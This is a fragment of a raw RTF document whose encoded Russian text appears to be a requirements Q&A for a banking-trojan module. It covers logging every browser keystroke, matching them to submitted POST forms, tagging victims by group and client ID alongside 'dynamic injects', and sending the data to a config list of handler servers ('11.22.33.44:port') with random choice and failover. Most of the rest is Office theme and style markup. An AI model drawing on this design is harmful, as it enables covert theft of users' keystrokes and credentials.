\par }{\rtlch\fcs1 \ab\af37 \ltrch\fcs0 \b\f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 3.4 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 "}{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 image}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 "}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611
\hich\af37\dbch\af31505\loch\f37 \hich\f37 - \'e1\'e8\'ed\'e0\'f0\'ed\'fb\'e5\loch\f37 \hich\f37 \'e4\'e0\'ed\'ed\'fb\'e5\loch\f37 , }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 }{\rtlch\fcs1
\af37 \ltrch\fcs0 \f37\insrsid4194611 \loch\af37\dbch\af31505\hich\f37 \'ed\'e5\loch\f37 \hich\f37 \'e8\'f1\'ef\'ee\'eb\'fc\'e7\'f3\'e5\'f2\'f1\'ff
\par }\pard\plain \ltrpar\s15\ql \li0\ri0\sb100\sa100\sbauto1\saauto1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid4409994 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0
\fs24\lang1049\langfe1049\loch\af0\hich\af0\dbch\af31505\cgrid\langnp1049\langfenp1049 {\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid4409994 \hich\af0\dbch\af31505\loch\f0 1.\~\hich\f0 \'ef\'ee\~\'eb\'ee\'e3\'e8\'f0\'ee\'e2\'e0\'ed\'e8\'fe\~\'ed\'e0\'e6\'e0\'f2
\'e8\'e9.\~\'cf\'f0\'e5\'e4\'ef\'ee\'eb\'ee\'e6\'e8\'ec\~\'ff\~\'eb\'ee\'e3\'e8\'f0\'f3\'fe\~\'e2\'f1\'e5-\loch\af0\dbch\af31505\hich\f0 \'e2\'f1\'e5-\'ef\'f0\'e5\'e2\'f1\'e5\~\'ed\'e0\'e6\'e0\'f2\'e8\'ff\~\'e2\~\'e1\'f0\'ee\'f3\'e7\'e5\'f0\'e5.\~\'ca\'e0
\'ea\'ee\'e9\~\'ea\'f0\'e8\'f2\'e5\'f0\'e8\'e9\~\'f1\'ee\'ef\'ee\'f1\'f2\'e0\'e2\'eb\'e5\'ed\'e8\'ff\~\'ed\'e0\'e6\'e0\'f2\'e8\'e9\~\'f1\~\'ee\'f2\'ef\'f0\'e0\'e2\'ea\'ee\'e9\~\'ef\'ee\'f1\'f2\'e0\loch\f0 ?\~\hich\f0 \'e2\'e5\'e4\'fc\~\'ef\'ee\'f1\'f2\~
\'ec\'ee\'e6\'e5\'f2\~\'f2\'e5\'ee\'f0\'e5\'f2\'e8\'f7\'e5\'f1\'ea\'e8\~\'e8\~\'ea\'e0\'ea\'ee\'e9-\'ed\'e8\'e1\'f3\'e4\'fc\~\'e0\'ff\'ea\'f1-\'f1\'ea\'f0\'e8\'ef\'f2\~\'ee\'f2\'ef\'f0\'e0\'e2\'e8\'f2\'fc.\~\'d2\'f3\'f2\~\'ed\'f3\'e6\'ed\'ee\~\'ef\'ee\'f7
\'e5\'f2\'f7\'e5.\~\'cb\'e8\'e1\'ee\~\'e2\'f1\'e5\~\'ed\'e0\'e6\'e0\'f2\'e8\'ff\~\'f1\~\'ef\'f0\'e5\'e4\'fb\'e4\'f3\'f9\'e5\'e9\~\'ee\'f2\'ef\'f0\'e0\'e2\'ea\'e8.\~\'cb\'e8\'e1\'ee\~\'ed\'e0\'e6\'e0\'f2\'e8\'ff\~\'e7\'e0\~\'ef\'ee\'f1\'eb\'e5\'e4\'ed\'e8
\'e5\~\loch\f0 2-4\~\hich\f0 \'ec\'e8\'ed\'f3\'f2\'fb.\~\'cb\'e8\'e1\'ee\~\loch\af0\dbch\af31505\hich\f0 \'e5\'f9\'e5\~\'e2\'e0\'f0\'e8\'e0\'ed\'f2\'fb.\line \loch\f0 2.\~\hich\f0 \'f2\'fd\'e3\~\'e3\'f0\'f3\'ef\'ef\'fb\loch\f0 \hich\f0 /\'e8\'e4\~\'ea\'eb
\'e8\'e5\'ed\'f2\'e0\~\loch\f0 \hich\f0 (\'e2\~\'f3\'f0\'e8\loch\f0 )\~-\~\hich\f0 \'ff\~\'f2\'e0\'ea\~\'ef\'ee\'ed\'e8\'ec\'e0\'fe\~\'fd\'f2\'ee\~\'f2\'e5\~\'e6\'e5\~\'f1\'e0\'ec\'fb\'e5,\~\'f7\'f2\'ee\~\'ff\~\'f3\'e6\'e5\~\'ee\'f2\'ef\'f0\'e0\'e2\'eb
\'ff\'fe\~\'e2\~\'e4\'e8\'ed.\'e8\'ed\'e6\'e5\'ea\'f2\'e0\'f5\~\loch\f0 \hich\f0 (\'e8\'e7\~\loch\f0 parentdata)?
\par }{\rtlch\fcs1 \af0 \ltrch\fcs0 \lang1033\langfe1049\langnp1033\insrsid4409994\charrsid9506915 \line }{\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid4409994 \loch\af0\dbch\af31505\hich\f0 \'ef\'ee}{\rtlch\fcs1 \af0 \ltrch\fcs0
\lang1033\langfe1049\langnp1033\insrsid4409994\charrsid16122061 \~}{\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid4409994 \loch\af0\dbch\af31505\hich\f0 \'ea\'ee\'ed\'f4\'e8\'e3\'f3}{\rtlch\fcs1 \af0 \ltrch\fcs0
\lang1033\langfe1049\langnp1033\insrsid4409994\charrsid16122061 ,\~}{\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid4409994 \loch\af0\dbch\af31505\hich\f0 \'ef\'f3\'f1\'f2\'fc}{\rtlch\fcs1 \af0 \ltrch\fcs0
\lang1033\langfe1049\langnp1033\insrsid4409994\charrsid16122061 \~}{\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid4409994 \loch\af0\dbch\af31505\hich\f0 \'e1\'f3\'e4\'e5\'f2}{\rtlch\fcs1 \af0 \ltrch\fcs0
\lang1033\langfe1049\langnp1033\insrsid4409994\charrsid16122061 \~}{\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid4409994 \loch\af0\dbch\af31505\hich\f0 \'f2\'e0\'ea}{\rtlch\fcs1 \af0 \ltrch\fcs0 \lang1033\langfe1049\langnp1033\insrsid4409994\charrsid16122061
\hich\af0\dbch\af31505\loch\f0 :\~<dpost><handler>11.22.33.44:port</handler>\~<handler>....</handler></dpost>\line
\par }{\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid4409994 \hich\af0\dbch\af31505\loch\f0 3.\~\hich\f0 \'e5\'f9\'e5\~\'ed\'e5\'ef\'ee\'ed\'ff\'f2\'ed\'ee,\~\loch\af0\dbch\af31505\hich\f0 \'e7\'e0\'f7\'e5\'ec\~\'ed\'e5\'f1\'ea\'ee\'eb\'fc\'ea\'ee\~\'f1\'e5\'f0\'e2\'e5
\'f0\'ee\'e2\~\'e4\'ee\'eb\'e6\'ed\'ee\~\'e1\'fb\'f2\'fc\~\'e2\~\'f1\'ef\'e8\'f1\'ea\'e5.\~\'cf\'ee\~\'ea\'e0\'ea\'ee\'ec\'f3\~\'ef\'f0\'e8\'ed\'f6\'e8\'ef\'f3\~\'e2\'fb\'e1\'e8\'f0\'e0\'f2\'fc,\~\'ed\'e0\~\'ea\'e0\'ea\'ee\'e9\~\'f1\'e5\'f0\'e2\'e5\'f0\~
\'ee\'f2\'ef\'f0\'e0\'e2\'eb\'ff\'f2\'fc\line }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611
\par }{\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid4409994 \hich\af0\dbch\af31505\loch\f0 1.\~\hich\f0 \'c2\'f1\'e5\~\'ed\'e0\'e6\'e0\'f2\'e8\'ff\~\'f1\~\'ef\'f0\'e5\'e4\'fb\'e4\'f3\'f9\'e5\'e9\~\'ee\'f2\'ef\'f0\'e0\'e2\'ea\'e8\line \loch\f0 2.\~\hich\f0 \'c4\'e0\~
\line \loch\f0 3.\~\hich\f0 \'e2\'fb\'e1\'f0\'e0\'f2\'fc\~\'f1\'eb\'f3\'f7\'e0\'e9\'ed\'fb\'e9\~-\~\'e5\'f1\'eb\'e8\~\'ee\'ea\'e0\'e7\'e0\'eb\'f1\'ff\~\'f3\'e1\'e8\'f2\'fb\'e9,\~\'e2\'e7\'ff\'f2\~\'f1\'eb\'e5\'e4\'f3\'fe\'f9\'e8\'e9,\~\'e5\'f1\'eb\'e8\~
\'e2\~\'ea\'ee\'ed\'f6\'e5\~\'f1\'ef\'e8\'f1\'ea\'e0\~-\~\'f2\'ee\~\'e2\~\'ed\'e0\'f7\'e0\'eb\'ee.\~\'c5\'f1\'e8\~\'ed\'e8\'ee\'e4\'e8\'ed\~\'ed\loch\af0\dbch\af31505\hich\f0 \'e5\~\'f0\'e0\'e1\'ee\'f7\'e8\'e9,\~\'ef\'e5\'f0\'e5\'f1\'f2\'e0\'f2\'fc\~\'f1
\'eb\'e0\'f2\'fc\~\'ed\'e0\~\loch\f0 5\~\hich\f0 \'ec\'e8\'ed\'f3\'f2.\~\'cf\'ee\'f2\'ee\'ec\~\'ef\'ee\'ef\'f0\'ee\'e1\'ee\'e2\'e0\'f2\'fc\~\'f1\'ed\'ee\'e2\'e0\~\'f1\'eb\'f3\'f7\'e0\'e9\'ed\'fb\'e9,\~\'e5\'f1\'eb\'e8\~\'ed\'e5\~\'f0\'e0\'e1\'ee\'f7\'e8
\'e9\~\'f2\'ee\~\'f1\'eb\'e5\'e4\'f3\'fe\'f9\'e8\'e9.
\par }\pard\plain \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\nowidctlpar\wrapdefault\faauto\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs22\alang1025 \ltrch\fcs0 \fs22\lang1049\langfe1049\loch\af31506\hich\af31506\dbch\af31505\cgrid\langnp1049\langfenp1049 {\rtlch\fcs1
\af37 \ltrch\fcs0 \f37\insrsid4409994\charrsid4409994
\par }{\*\themedata 504b030414000600080000002100e9de0fbfff0000001c020000130000005b436f6e74656e745f54797065735d2e786d6cac91cb4ec3301045f748fc83e52d4a
9cb2400825e982c78ec7a27cc0c8992416c9d8b2a755fbf74cd25442a820166c2cd933f79e3be372bd1f07b5c3989ca74aaff2422b24eb1b475da5df374fd9ad
5689811a183c61a50f98f4babebc2837878049899a52a57be670674cb23d8e90721f90a4d2fa3802cb35762680fd800ecd7551dc18eb899138e3c943d7e503b6
b01d583deee5f99824e290b4ba3f364eac4a430883b3c092d4eca8f946c916422ecab927f52ea42b89a1cd59c254f919b0e85e6535d135a8de20f20b8c12c3b0
0c895fcf6720192de6bf3b9e89ecdbd6596cbcdd8eb28e7c365ecc4ec1ff1460f53fe813d3cc7f5b7f020000ffff0300504b030414000600080000002100a5d6
a7e7c0000000360100000b0000005f72656c732f2e72656c73848fcf6ac3300c87ef85bd83d17d51d2c31825762fa590432fa37d00e1287f68221bdb1bebdb4f
c7060abb0884a4eff7a93dfeae8bf9e194e720169aaa06c3e2433fcb68e1763dbf7f82c985a4a725085b787086a37bdbb55fbc50d1a33ccd311ba548b6309512
0f88d94fbc52ae4264d1c910d24a45db3462247fa791715fd71f989e19e0364cd3f51652d73760ae8fa8c9ffb3c330cc9e4fc17faf2ce545046e37944c69e462
a1a82fe353bd90a865aad41ed0b5b8f9d6fd010000ffff0300504b0304140006000800000021006b799616830000008a0000001c0000007468656d652f746865
6d652f7468656d654d616e616765722e786d6c0ccc4d0ac3201040e17da17790d93763bb284562b2cbaebbf600439c1a41c7a0d29fdbd7e5e38337cedf14d59b
4b0d592c9c070d8a65cd2e88b7f07c2ca71ba8da481cc52c6ce1c715e6e97818c9b48d13df49c873517d23d59085adb5dd20d6b52bd521ef2cdd5eb9246a3d8b
4757e8d3f729e245eb2b260a0238fd010000ffff0300504b030414000600080000002100863ae0a7f0060000be1a0000160000007468656d652f7468656d652f
7468656d65312e786d6cec59dd6e134714beafd47758edbdf1dfae7f221c64af6d682180b0a1e272628fbd436677ac9d71828590105c566a559556bd2852db9b
5e546d2341d51b7887f00c69a95a2af10a3d336baf67ec49091195a28a444ad6e3ef9cf9e69cb3df99dd397bee76449d5d9c70c2e2865b3c53701d1c0fd890c4
e3867bbddfcdd55c870b140f1165316eb833ccdd739befbf77166d881047d801fb986fa0861b0a31d9c8e7f90086113fc3263886ef462c8990808fc9383f4cd0
1ef88d68be542854f21122b1ebc42802b707df1dfc72f0f460dfb9321a9101763717fe3b142689059703039af4a477bc30faf6f9fd83fd8367074f0ef69fdf83
eb67f0ff53653bdc294a0b3ee3014d9c5d441b2e4c3d647b7d7c5bb80e455cc0170db7a07edcfce6d93cda981b517184ad66d7553f73bbb9c170a7a4e64cc6db
d9a49ee77b9566e65f01a858c775aa9d4aa792f953003418c0ca532eba4fbf556fb5fd395603a59716dfed6abb5c34f09afff21ae7a62f7f0dbc02a5febd357c
b71b40140dbc02a5787f0def79d552e01978054af195357cb5d06c7b5503af402125f1ce1abae057cac162b51964c4e8052bbcee7bdd6a69ee7c89826ac8aa4d
4e3162b1386eed45e8164bba60200d29122476c46c82476800851e204ab613e25c22e3100a718262c661b8502a740b65f82b7f3d75a522843630d2ac254f60c6
d786243f870f1232110df743f0ea6a90574f7f7cf5f4b17378ffc9e1fd5f0f1f3c38bcff73eac8b0ba80e2b16ef5f2fbcffe7e74cff9ebf1372f1f7e61c7731d
fffb4f1ffff6ec733b1056ba0cc18b2ff7ff78b2ffe2ab4ffefce1a105de4cd0b60eef930873e732de73aeb10816a6426032c7dbc99b59f44344748b663ce628
4672168bff8e080df4e519a2c8826b6133823712901c1bf0fcf49641b8172653412c1e2f869101dc628cb658628dc245399716e6fe341edb274fa63aee1a42bb
b6b903141bf9ed4c27a0bdc4e63208b141f32a45b140631c63e1c8efd80ec696d5dd24c488eb1619248cb391706e12a7858835247db26d54d3d2e80289202f33
1b41c8b7119bad1b4e8b51dbaadb78d744c25d81a8857c1f53238ce7d154a0c8e6b28f22aa07fc1212a18d646f960c745c870bc8f41853e6748698739bcd9504
d6ab25fd22c88b3ded5b741699c844901d9bcf4b88311dd9663b4188a2890ddb2371a8633fe03b50a2c8b9ca840dbec5cc3b447e863ca0f8c874df20d848f7eb
d5e03a28ab4e695920f29b6962c9e579cc8cfaedcde808612535d0080c3d8f48fc5a715f9175ffbf957510d2175f3fb2aceab40a7a3321d63beac28a8c1f855b
15ef80254372fab5bb8da6f1550cb7cb7a037b27ddefa4dbfddf4bf751f7f3db17eca546837ccbad62ba75571bf9e8d8fbf811a1b42766145fe26a2bcfa1530d
bb3028fda8c75c9c3de74d42b89477364c68e0c60952364ec2c4474484bd104d60bf5f74a593319fbb1e7367c2383c06a861ab6f89a7d3688b0dd3c7d962513e
baa662c291588e17fc6c1c1e3d448aae54978f68997bc576ac1ead1704a4ed9b90d0263349942d24aa8b411924f5200f41b390502b7b2b2cea161635e97e91aa
3516402dcb0a6ca51cd880355cdf03133082272c44f150e6294df522bb2a996f33d34705d3a800d8572c2a6099e9bae47ae4f2e4ead2523b46a60d125ab99924
5464544fe3211ae27975cad1e3d078d35cd7972935e8c950a8f9a0b49634aab57f6371d25c83ddaa36d058570a1a3b7b0db752f6a1640668d27047f01a002ea3
09d40e975b6044c7f0ba6d2092f4863f89b24c122eda888769c095e8a46a101181138792a8e1cae56769a0b1d210c5ad58024138b5e4ea202ba78d1c24dd4c32
1e8df040e869d74664a4d38fa0f0a95658bf55e627074b4b368574f7c2e19eb34da7c9350425e6578b328043c2e16d50318de690c0ebce4cc896f5b7d298e6b2
abbf6f5435948e233a09d1bca3e8629ec295946774d4a72c06daa7f99a21a05a48e68d707b2c1bac1e54a39b665d23e57064d77dbd918c9c269acb9e69a88aec
9a7615336658b48195589eacc96bac1621064dd33b7c2addab925b5f68ddca3e21eb1210f02c7e96ae7b8c86a0515b4e6650938cd765586af67cd4ec1d8b05be
86da719a84a6fa9585db95b8653dc23a1d0c9ea8f383dd6ad5c2d068b1cf5491564725fa5106dbbe05e2d18697c2532ab84a251c4c240836443db5274965036e
91db627e6bc095334d48c3bd53f09b5e50f2835ca1e677725ed92be46a7eb39c6bfa7eb9d8f18b8576ab74171a8b08a3a29f1ed374e1d5149dcd0f6bd4f8da81
4db478fb7666c0a23c53e73079455c1dd8144bc6814d7a4ee3f4e5718ceb10109d3b9552b75eaeb72ab97ab9d9cd79ed562d570f2aad5cbb1254dbdd76e0d7ea
ddbbaeb3abc05eb31c78954e2d57290641ceab1424fd5a3d57f54aa5a6576dd63a5ef3ee7c1b032b4fe5631e0b08afe2b5f90f000000ffff0300504b03041400
06000800000021000dd1909fb60000001b010000270000007468656d652f7468656d652f5f72656c732f7468656d654d616e616765722e786d6c2e72656c7384
8f4d0ac2301484f78277086f6fd3ba109126dd88d0add40384e4350d363f2451eced0dae2c082e8761be9969bb979dc9136332de3168aa1a083ae995719ac16d
b8ec8e4052164e89d93b64b060828e6f37ed1567914b284d262452282e3198720e274a939cd08a54f980ae38a38f56e422a3a641c8bbd048f7757da0f19b017c
c524bd62107bd5001996509affb3fd381a89672f1f165dfe514173d9850528a2c6cce0239baa4c04ca5bbabac4df000000ffff0300504b01022d001400060008
0000002100e9de0fbfff0000001c0200001300000000000000000000000000000000005b436f6e74656e745f54797065735d2e786d6c504b01022d0014000600
080000002100a5d6a7e7c0000000360100000b00000000000000000000000000300100005f72656c732f2e72656c73504b01022d00140006000800000021006b
799616830000008a0000001c00000000000000000000000000190200007468656d652f7468656d652f7468656d654d616e616765722e786d6c504b01022d0014
000600080000002100863ae0a7f0060000be1a00001600000000000000000000000000d60200007468656d652f7468656d652f7468656d65312e786d6c504b01
022d00140006000800000021000dd1909fb60000001b0100002700000000000000000000000000fa0900007468656d652f7468656d652f5f72656c732f7468656d654d616e616765722e786d6c2e72656c73504b050600000000050005005d010000f50a00000000}
{\*\colorschememapping 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d3822207374616e64616c6f6e653d22796573223f3e0d0a3c613a636c724d
617020786d6c6e733a613d22687474703a2f2f736368656d61732e6f70656e786d6c666f726d6174732e6f72672f64726177696e676d6c2f323030362f6d6169
6e22206267313d226c743122207478313d22646b3122206267323d226c743222207478323d22646b322220616363656e74313d22616363656e74312220616363
656e74323d22616363656e74322220616363656e74333d22616363656e74332220616363656e74343d22616363656e74342220616363656e74353d22616363656e74352220616363656e74363d22616363656e74362220686c696e6b3d22686c696e6b2220666f6c486c696e6b3d22666f6c486c696e6b222f3e}
{\*\latentstyles\lsdstimax371\lsdlockeddef0\lsdsemihiddendef0\lsdunhideuseddef0\lsdqformatdef0\lsdprioritydef99{\lsdlockedexcept \lsdqformat1 \lsdpriority0 \lsdlocked0 Normal;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 1;
\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdpriority9 \lsdlocked0 heading 2;\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdpriority9 \lsdlocked0 heading 3;\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdpriority9 \lsdlocked0 heading 4;
\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdpriority9 \lsdlocked0 heading 5;\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdpriority9 \lsdlocked0 heading 6;\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdpriority9 \lsdlocked0 heading 7;
\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdpriority9 \lsdlocked0 heading 8;\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdpriority9 \lsdlocked0 heading 9;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index 1;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index 2;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index 3;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index 4;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index 5;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index 6;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index 7;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index 8;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index 9;
\lsdsemihidden1 \lsdunhideused1 \lsdpriority39 \lsdlocked0 toc 1;\lsdsemihidden1 \lsdunhideused1 \lsdpriority39 \lsdlocked0 toc 2;\lsdsemihidden1 \lsdunhideused1 \lsdpriority39 \lsdlocked0 toc 3;
\lsdsemihidden1 \lsdunhideused1 \lsdpriority39 \lsdlocked0 toc 4;\lsdsemihidden1 \lsdunhideused1 \lsdpriority39 \lsdlocked0 toc 5;\lsdsemihidden1 \lsdunhideused1 \lsdpriority39 \lsdlocked0 toc 6;
\lsdsemihidden1 \lsdunhideused1 \lsdpriority39 \lsdlocked0 toc 7;\lsdsemihidden1 \lsdunhideused1 \lsdpriority39 \lsdlocked0 toc 8;\lsdsemihidden1 \lsdunhideused1 \lsdpriority39 \lsdlocked0 toc 9;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Normal Indent;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 footnote text;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 annotation text;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 header;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 footer;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index heading;\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdpriority35 \lsdlocked0 caption;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 table of figures;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 envelope address;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 envelope return;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 footnote reference;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 annotation reference;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 line number;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 page number;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 endnote reference;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 endnote text;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 table of authorities;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 macro;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 toa heading;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Bullet;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Number;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List 2;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List 3;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List 4;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List 5;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Bullet 2;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Bullet 3;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Bullet 4;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Bullet 5;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Number 2;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Number 3;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Number 4;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Number 5;\lsdqformat1 \lsdpriority10 \lsdlocked0 Title;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Closing;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Signature;\lsdsemihidden1 \lsdunhideused1 \lsdpriority1 \lsdlocked0 Default Paragraph Font;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Body Text;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Body Text Indent;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Continue;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Continue 2;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Continue 3;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Continue 4;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 List Continue 5;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Message Header;\lsdqformat1 \lsdpriority11 \lsdlocked0 Subtitle;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Salutation;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Date;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Body Text First Indent;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Body Text First Indent 2;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Note Heading;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Body Text 2;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Body Text 3;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Body Text Indent 2;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Body Text Indent 3;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Block Text;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Hyperlink;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 FollowedHyperlink;\lsdqformat1 \lsdpriority22 \lsdlocked0 Strong;
\lsdqformat1 \lsdpriority20 \lsdlocked0 Emphasis;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Document Map;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Plain Text;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 E-mail Signature;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Top of Form;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Bottom of Form;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Normal (Web);\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Acronym;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Address;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Cite;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Code;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Definition;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Keyboard;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Preformatted;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Sample;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Typewriter;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 HTML Variable;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 annotation subject;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 No List;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Outline List 1;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Outline List 2;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Outline List 3;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Balloon Text;\lsdpriority39 \lsdlocked0 Table Grid;
\lsdsemihidden1 \lsdlocked0 Placeholder Text;\lsdqformat1 \lsdpriority1 \lsdlocked0 No Spacing;\lsdpriority60 \lsdlocked0 Light Shading;\lsdpriority61 \lsdlocked0 Light List;\lsdpriority62 \lsdlocked0 Light Grid;
\lsdpriority63 \lsdlocked0 Medium Shading 1;\lsdpriority64 \lsdlocked0 Medium Shading 2;\lsdpriority65 \lsdlocked0 Medium List 1;\lsdpriority66 \lsdlocked0 Medium List 2;\lsdpriority67 \lsdlocked0 Medium Grid 1;\lsdpriority68 \lsdlocked0 Medium Grid 2;
\lsdpriority69 \lsdlocked0 Medium Grid 3;\lsdpriority70 \lsdlocked0 Dark List;\lsdpriority71 \lsdlocked0 Colorful Shading;\lsdpriority72 \lsdlocked0 Colorful List;\lsdpriority73 \lsdlocked0 Colorful Grid;\lsdpriority60 \lsdlocked0 Light Shading Accent 1;
\lsdpriority61 \lsdlocked0 Light List Accent 1;\lsdpriority62 \lsdlocked0 Light Grid Accent 1;\lsdpriority63 \lsdlocked0 Medium Shading 1 Accent 1;\lsdpriority64 \lsdlocked0 Medium Shading 2 Accent 1;\lsdpriority65 \lsdlocked0 Medium List 1 Accent 1;
\lsdsemihidden1 \lsdlocked0 Revision;\lsdqformat1 \lsdpriority34 \lsdlocked0 List Paragraph;\lsdqformat1 \lsdpriority29 \lsdlocked0 Quote;\lsdqformat1 \lsdpriority30 \lsdlocked0 Intense Quote;\lsdpriority66 \lsdlocked0 Medium List 2 Accent 1;
\lsdpriority67 \lsdlocked0 Medium Grid 1 Accent 1;\lsdpriority68 \lsdlocked0 Medium Grid 2 Accent 1;\lsdpriority69 \lsdlocked0 Medium Grid 3 Accent 1;\lsdpriority70 \lsdlocked0 Dark List Accent 1;\lsdpriority71 \lsdlocked0 Colorful Shading Accent 1;
\lsdpriority72 \lsdlocked0 Colorful List Accent 1;\lsdpriority73 \lsdlocked0 Colorful Grid Accent 1;\lsdpriority60 \lsdlocked0 Light Shading Accent 2;\lsdpriority61 \lsdlocked0 Light List Accent 2;\lsdpriority62 \lsdlocked0 Light Grid Accent 2;
